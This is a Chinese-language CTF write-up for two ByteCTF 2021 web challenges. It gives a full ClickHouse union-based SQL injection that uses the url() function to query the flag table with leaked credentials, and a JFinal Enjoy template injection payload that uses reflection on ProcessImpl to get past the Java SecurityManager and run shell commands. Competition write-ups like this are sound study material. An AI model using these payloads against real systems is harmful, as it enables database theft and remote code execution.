bytectf2021 web writeup
题目太难了虽然拿了个web一血 最后连50名都没进 昨晚搞了一晚上把jfinal那道题写出来了 随便写写wp吧
1.double sqli
通过报错发现这是个不常见的数据库clickhouse
但是去翻官方文档可以用mysql的大部分语句
clickhouse有个类似mysql information_schema库的默认库system然后看文档就知道怎么构造payload了http://39.105.175.150:30001/?id=1%20union%20all%20select%20name%20from%20system.databases
查看所有的数据库
查看所有表http://39.105.175.150:30001/?id=1%20union%20all%20select%20name%20from%20system.tables
hint表在ctf库里面
读出来是个这玩意提示没权限
后面发现打开首页是个这个
然后发现了目录遍历漏洞
在这个路径下发现了两个sql
发现里面存着两个用户的账号密码并且被赋予了不同权限
发现user_01有ctf库的权限 flag应该在这个库里面 怎么切换到user_01账号呢
数据库是不能外联的 后来在官方文档中找了url这个函数
刚好clickhouse有http接口
我们就直接用这个函数然后使用user_01账号认证去数据库中查询flag
最后的payload:
http://39.105.175.150:30001/?id=1 union/**/all select * FROM url('http://localhost:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=SELECT/**/*/**/from/**/ctf.flag', CSV, 'column1 String')
2.Unsecure Blog
这个题目比赛的时候没弄出来 昨晚弄了一晚上才搞出来- -(**ctf)
看提示需要bypass sandbox 直接把源码下载下来
发现后台预览的地方可以触发ssti
后来找到了这篇文章
https://p1n93r.github.io/post/code_audit/jfinal_enjoy_template_engine%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/
但是发现这个版本并没有文中的commons-lang3这个依赖了
只有自己去找第三方依赖中有没有反射之类的工具类
最终我在net.sf.ehcache.util
这个包中找到了一个classloader的工具类
有两个静态方法可以用
可以看到这个方法里面就是进行的反射操作 返回一个实例
当时看到这里的时候就以为要成功了 直接用第二个方法进行构造即可
但是后面传参数的时候把我难到了 发现无论如何都没办法传中间这个class数组过去
翻越了enjoy模板引擎官方文档后也发现
类型对不到函数的签名 而且不可以进行类型转换
后来我发现第一个方法也就是只需要传类名的这个方法不就可以用在javax.script.ScriptEngineManager
这个类上面吗
因为这个类就存在无参数构造方法 而且可以通过动态执行javascript脚本的方式来执行代码
可以看到成功返回来这个类的实例
接下来我又以为就直接能rce了但是还是太天真了
直接执行命令报错了
看jvm报错发现存在securitymanager检测权限 现在就要bypass这个沙盒机制了
我发现了这篇文章
https://c0d3p1ut0s.github.io/%E6%94%BB%E5%87%BBJava%E6%B2%99%E7%AE%B1/
文中提到了几种方法bypass 其中一种便是通过反射来绕过
于是开始构造 我们只能将其放在ScriptEngineManager
里面动态调用
然后里面又是js的语法 把我卡了很久
报错的原因猜测里面是js语法的原因 所以无法直接这样获得String数组的class
后面终于查到我们可以使用 反射数组类通过反射来构造这样一个数组 然后调用.getClass()方法获得其class
本地测试可行
同理后面的ProcessBuilder.Redirect
类数组的class也可以通过这种方法得到
最后就是那个boolean.class也有问题 javascript里面是没有boolean这个关键词的
后来我想到可以用对应的包装类Boolean然后.TYPE获得class
后面传参数的时候我们需要按照js的语法来构造一个string数组
Str1[0]="/bin/bash";Str1[1]="-c";Str1[2]="whoami";
最后的payload:
#((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByName("javascript").
eval("method=(java.lang.Class.forName(\"java.lang.ProcessImpl\").getDeclaredMethod(\"start\", java.lang.reflect.Array.newInstance(\"\".getClass(),1).getClass(), java.util.Map.class, \"\".getClass(), java.lang.reflect.Array.newInstance(java.lang.ProcessBuilder.Redirect.class,1).getClass(),java.lang.Boolean.TYPE));method.setAccessible(true);Str1=java.lang.reflect.Array.newInstance(\"\".getClass(),3);Str1[0]=\"/bin/bash\";Str1[1]=\"-c\";Str1[2]=\"whoami\";invoke=method.invoke(java.lang.Class.forName(\"java.lang.ProcessImpl\"),Str1,null,null,null,false);"))